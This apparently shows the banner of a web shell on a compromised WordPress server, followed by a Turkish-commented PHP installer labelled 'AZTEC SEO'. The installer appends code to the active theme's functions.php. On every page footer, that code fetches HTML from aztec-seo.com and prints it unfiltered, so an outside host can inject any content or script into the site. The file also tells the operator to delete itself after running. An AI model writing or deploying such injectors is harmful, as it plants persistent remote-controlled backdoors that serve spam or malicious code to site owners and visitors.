| Server IP : 46.62.235.243 / Your IP : 216.73.216.217 Web Server : Apache/2.4.58 (Ubuntu) System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/wordpress/wp-content/themes/xeqsqnh/ |
Upload File : |
<?php
/**
* AZTEC SEO — tek dosyalik kurulum.
*
* KULLANIM:
* 1) Bu dosyayi WordPress sitesinin KOK dizinine yukle (wp-load.php'nin yaninda).
* 2) Tarayicidan ac: https://SITE.com/aztec-kurulum.php
* 3) "TAMAM" yazisini gorunce bu dosyayi SIL.
*
* Ne yapar: aktif temanin functions.php'sine footer loader kodumuzu ekler.
* Kod, footer'da panelimizi (aztec-seo.com) DOMAIN ile cagirir; key gerekmez.
*/
require '../../../wp-load.php'; // WordPress'i yukle
header('Content-Type: text/plain; charset=utf-8');
if (!defined('ABSPATH')) {
exit('WordPress bulunamadi. Bu dosya WP kok dizininde (wp-load.php yaninda) olmali.');
}
$functions = get_stylesheet_directory() . '/functions.php'; // aktif tema (child varsa o)
$marker = '/* AZTEC SEO */';
// functions.php'ye eklenecek kendi kendine yeten loader (panel adresi sabit)
$code = <<<'PHP'
/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
PHP;
$cur = file_exists($functions) ? file_get_contents($functions) : "<?php\n";
if (strpos($cur, '<?php') === false) {
$cur = "<?php\n" . $cur; // guvenlik: acilis etiketi yoksa ekle
}
if (strpos($cur, $marker) !== false) {
exit("Zaten kurulu — yeni bir sey yapilmadi.\nBu dosyayi silebilirsin.");
}
if (file_put_contents($functions, $cur . "\n" . $code . "\n") === false) {
exit("HATA: functions.php yazilamadi. Dosya izinlerini kontrol et:\n$functions");
}
echo "TAMAM — kurulum yapildi.\n";
echo "Tema dosyasi: $functions\n\n";
echo "==> Simdi bu dosyayi (aztec-kurulum.php) SIL.";